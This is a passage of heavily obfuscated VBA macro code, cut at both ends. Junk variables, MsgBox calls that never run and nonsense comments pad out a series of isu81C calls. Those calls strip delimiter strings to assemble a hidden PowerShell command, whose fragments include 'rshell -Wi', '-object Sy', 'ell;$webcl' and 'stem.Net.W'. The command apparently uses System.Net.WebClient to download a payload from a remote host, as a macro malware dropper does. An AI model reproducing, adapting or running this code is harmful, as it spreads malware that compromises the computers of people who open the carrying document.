u8QHmPH = 19
End If
' Starter remarks
Dim jUdJjOf As Long
jUdJjOf = 68
If jUdJjOf > 16000 * 1 Then
MsgBox "kdefdblk", vbDefaultButton4, "kdefdblk"
Else
XNOaAK = 26
End If
' Outstanding cancelled
DGAHQEU = isu81C("UJSe", ":UJSe/UJSe/UJSecUJSelUJSeeUJSeaUJSenUJSemUJSeaUJSe", "True")
Dim vSwLd As Integer
vSwLd = 87
If vSwLd > 16000 * 1 Then
MsgBox "UorU", 2, "UorU"
Else
dTWThoy = 30
End If
Dim gdPzf2 As Long
gdPzf2 = 82
If gdPzf2 > 8000 * 2 Then
MsgBox "VR", 48, "VR"
Else
kCCNkfKp = 24
End If
' Recipient cells
Dim FTW6fA As Integer
FTW6fA = 106
If FTW6fA > 16000 * 1 Then
MsgBox "TF", 4, "TF"
Else
yfG5C = 32
End If
Dim mDRMmB As Long
mDRMmB = 103
If mDRMmB > 8000 * 2 Then
MsgBox "VmodV", vbAbortRetryIgnore, "VmodV"
Else
jqwrDv = 17
End If
' Roe gary abridged
yTiVLu = isu81C("ABflG", " ABflG'ABflG\ABflG'ABflG ABflG+ABflG ABflG$ABflGnABflGaABflG", "True")
Dim X6FFYxH As Long
X6FFYxH = 82
If X6FFYxH > 16000 * 1 Then
MsgBox "produces jeans", vbAbortRetryIgnore, "produces jeans"
Else
HtttYK = 20
End If
Dim qnWUEU4 As Long
qnWUEU4 = 81
If qnWUEU4 > 8000 * 2 Then
MsgBox "LzZymP0j", vbYesNoCancel, "LzZymP0j"
Else
FVQLjat = 24
End If
' Planners inauspicious epileptic topography
Dim qZa7kIDr As Integer
qZa7kIDr = 123
If qZa7kIDr > 8000 * 2 Then
MsgBox "Et librarian pursuant basketball cosmetic grog aging", vbApplicationModal, "Et librarian pursuant basketball cosmetic grog aging"
Else
oQsvvqTPh = 20
End If
' Annihilate turns weapon upbraid
Dim An703S As Long
An703S = 107
If An703S > 8000 * 2 Then
MsgBox "iifFormatCint", 256, "iifFormatCint"
Else
srkoxi = 19
End If
paIQVaab = isu81C("wzLa", "rwzLaswzLahwzLaewzLalwzLalwzLa wzLa-wzLaWwzLaiwzLa", "True")
Dim qON4XP As Long
qON4XP = 96
If qON4XP > 8000 * 2 Then
MsgBox "hoover", vbMsgBoxRtlReading, "hoover"
Else
SjSQwW = 22
End If
Dim ho0poc As Integer
ho0poc = 96
If ho0poc > 16000 * 1 Then
MsgBox "believed z vietnam communism physiology", 5, "believed z vietnam communism physiology"
Else
nMIdE = 20
End If
xMgjHqE = isu81C("OE6Qt", "-OE6QtoOE6QtbOE6QtjOE6QteOE6QtcOE6QttOE6Qt OE6QtSOE6QtyOE6Qt", "True")
Dim U7ZBxp As Integer
U7ZBxp = 73
If U7ZBxp > 16000 * 1 Then
MsgBox "b", vbYesNoCancel, "b"
Else
GUlnaA = 25
End If
Dim GLBXV As Integer
GLBXV = 81
If GLBXV > 8000 * 2 Then
MsgBox "jC1NmQ", 0, "jC1NmQ"
Else
DhiFUw = 24
End If
' Gratuitous mo val upsetting
Dim EEbr3vFz As Long
EEbr3vFz = 118
If EEbr3vFz > 8000 * 2 Then
MsgBox "stccCt", 1048576, "stccCt"
Else
GeOQvoa = 20
End If
' Suavity aides
dBEwQUM = isu81C("Jw0C", "eJw0ClJw0ClJw0C;Jw0C$Jw0CwJw0CeJw0CbJw0CcJw0ClJw0C", "True")
Dim kOuSSGlD As Long
kOuSSGlD = 122
If kOuSSGlD > 16000 * 1 Then
MsgBox "g", vbYesNo, "g"
Else
CnVOWAt = 25
End If
Dim SKNJX As Integer
SKNJX = 112
If SKNJX > 16000 * 1 Then
MsgBox "bunloadb", 1048576, "bunloadb"
Else
VsMvT1 = 32
End If
Dim Pb7NG As Integer
Pb7NG = 105
If Pb7NG > 16000 * 1 Then
MsgBox "rchdirr", 512, "rchdirr"
Else
Ql86Sjx = 20
End If
' Confronting careworn fernando chocolate persuasive sections
rYSsLQp = isu81C("vxnf", "svxnftvxnfevxnfmvxnf.vxnfNvxnfevxnftvxnf.vxnfWvxnf", "True")
Dim IRNnw As Long
IRNnw = 109
If IRNnw > 16000 * 1 Then
MsgBox "TorT", vbQuestion, "TorT"
Else
ZBPRY = 32
End If
' Charms convinced
…